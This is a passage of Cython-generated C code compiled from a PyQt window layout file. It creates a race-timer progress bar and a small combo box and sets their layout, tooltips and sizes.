self.horizontalLayout_4.setContentsMargins(1, 1, 1, 1) * self.horizontalLayout_4.setSpacing(2) * self.horizontalLayout_4.setObjectName("horizontalLayout_4") # <<<<<<<<<<<<<< * self.PB_TimeRace = QtWidgets.QProgressBar(self.verticalLayoutWidget_2) * self.PB_TimeRace.setEnabled(True) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 671, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 671, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__429, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 671, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":672 * self.horizontalLayout_4.setSpacing(2) * self.horizontalLayout_4.setObjectName("horizontalLayout_4") * self.PB_TimeRace = QtWidgets.QProgressBar(self.verticalLayoutWidget_2) # <<<<<<<<<<<<<< * self.PB_TimeRace.setEnabled(True) * self.PB_TimeRace.setToolTip("") */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 672, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QProgressBar); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 672, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 672, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 672, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 672, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 672, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 672, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 672, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_PB_TimeRace, __pyx_t_7) < 0) __PYX_ERR(0, 672, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":673 * self.horizontalLayout_4.setObjectName("horizontalLayout_4") * self.PB_TimeRace = QtWidgets.QProgressBar(self.verticalLayoutWidget_2) * self.PB_TimeRace.setEnabled(True) # <<<<<<<<<<<<<< * self.PB_TimeRace.setToolTip("") * self.PB_TimeRace.setStatusTip("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_PB_TimeRace); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 673, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setEnabled); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 673, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__430, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 673, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":674 * self.PB_TimeRace = QtWidgets.QProgressBar(self.verticalLayoutWidget_2) * self.PB_TimeRace.setEnabled(True) * self.PB_TimeRace.setToolTip("") # <<<<<<<<<<<<<< * self.PB_TimeRace.setStatusTip("") * self.PB_TimeRace.setAccessibleName("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_PB_TimeRace); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 674, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 674, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__431, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 674, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":675 * self.PB_TimeRace.setEnabled(True) * self.PB_TimeRace.setToolTip("") * self.PB_TimeRace.setStatusTip("") # <<<<<<<<<<<<<< * self.PB_TimeRace.setAccessibleName("") * self.PB_TimeRace.setAccessibleDescription("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_PB_TimeRace); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 675, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 675, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__432, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 675, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":676 * self.PB_TimeRace.setToolTip("") * self.PB_TimeRace.setStatusTip("") * self.PB_TimeRace.setAccessibleName("") # <<<<<<<<<<<<<< * self.PB_TimeRace.setAccessibleDescription("") * self.PB_TimeRace.setMaximum(1) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_PB_TimeRace); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 676, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 676, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__433, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 676, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":677 * self.PB_TimeRace.setStatusTip("") * self.PB_TimeRace.setAccessibleName("") * self.PB_TimeRace.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.PB_TimeRace.setMaximum(1) * self.PB_TimeRace.setProperty("value", 1) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_PB_TimeRace); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 677, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 677, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__434, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 677, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":678 * self.PB_TimeRace.setAccessibleName("") * self.PB_TimeRace.setAccessibleDescription("") * self.PB_TimeRace.setMaximum(1) # <<<<<<<<<<<<<< * self.PB_TimeRace.setProperty("value", 1) * self.PB_TimeRace.setTextVisible(True) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_PB_TimeRace); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 678, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setMaximum); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 678, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__435, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 678, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":679 * self.PB_TimeRace.setAccessibleDescription("") * self.PB_TimeRace.setMaximum(1) * self.PB_TimeRace.setProperty("value", 1) # <<<<<<<<<<<<<< * self.PB_TimeRace.setTextVisible(True) * self.PB_TimeRace.setFormat("Waiting for start") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_PB_TimeRace); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 679, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setProperty); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 679, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__436, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 679, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":680 * self.PB_TimeRace.setMaximum(1) * self.PB_TimeRace.setProperty("value", 1) * self.PB_TimeRace.setTextVisible(True) # <<<<<<<<<<<<<< * self.PB_TimeRace.setFormat("Waiting for start") * self.PB_TimeRace.setObjectName("PB_TimeRace") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_PB_TimeRace); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 680, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setTextVisible); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 680, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__437, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 680, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":681 * self.PB_TimeRace.setProperty("value", 1) * self.PB_TimeRace.setTextVisible(True) * self.PB_TimeRace.setFormat("Waiting for start") # <<<<<<<<<<<<<< * self.PB_TimeRace.setObjectName("PB_TimeRace") * self.horizontalLayout_4.addWidget(self.PB_TimeRace) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_PB_TimeRace); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 681, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setFormat); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 681, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__438, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 681, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":682 * self.PB_TimeRace.setTextVisible(True) * self.PB_TimeRace.setFormat("Waiting for start") * self.PB_TimeRace.setObjectName("PB_TimeRace") # <<<<<<<<<<<<<< * self.horizontalLayout_4.addWidget(self.PB_TimeRace) * self.B_Define = QtWidgets.QComboBox(self.verticalLayoutWidget_2) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_PB_TimeRace); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 682, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 682, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__439, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 682, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":683 * self.PB_TimeRace.setFormat("Waiting for start") * self.PB_TimeRace.setObjectName("PB_TimeRace") * self.horizontalLayout_4.addWidget(self.PB_TimeRace) # <<<<<<<<<<<<<< * self.B_Define = QtWidgets.QComboBox(self.verticalLayoutWidget_2) * self.B_Define.setMaximumSize(QtCore.QSize(20, 16777215)) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 683, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 683, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_PB_TimeRace); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 683, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_3) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 683, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_6}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 683, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_6}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 683, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 683, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 683, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":684 * self.PB_TimeRace.setObjectName("PB_TimeRace") * self.horizontalLayout_4.addWidget(self.PB_TimeRace) * self.B_Define = QtWidgets.QComboBox(self.verticalLayoutWidget_2) # <<<<<<<<<<<<<< * self.B_Define.setMaximumSize(QtCore.QSize(20, 16777215)) * self.B_Define.setToolTip("") */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 684, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QComboBox); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 684, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 684, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 684, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 684, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 684, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 684, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 684, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_B_Define, __pyx_t_7) < 0) __PYX_ERR(0, 684, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":685 * self.horizontalLayout_4.addWidget(self.PB_TimeRace) * self.B_Define = QtWidgets.QComboBox(self.verticalLayoutWidget_2) * self.B_Define.setMaximumSize(QtCore.QSize(20, 16777215)) # <<<<<<<<<<<<<< * self.B_Define.setToolTip("") * self.B_Define.setStatusTip("") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 685, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setMaximumSize); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 685, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 685, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QSize); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 685, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__440, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 685, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_4) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 685, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 685, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 685, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 685, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 685, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":686 * self.B_Define = QtWidgets.QComboBox(self.verticalLayoutWidget_2) * self.B_Define.setMaximumSize(QtCore.QSize(20, 16777215)) * self.B_Define.setToolTip("") # <<<<<<<<<<<<<< * self.B_Define.setStatusTip("") * self.B_Define.setAccessibleName("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Define); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 686, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 686, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__441, NULL); if 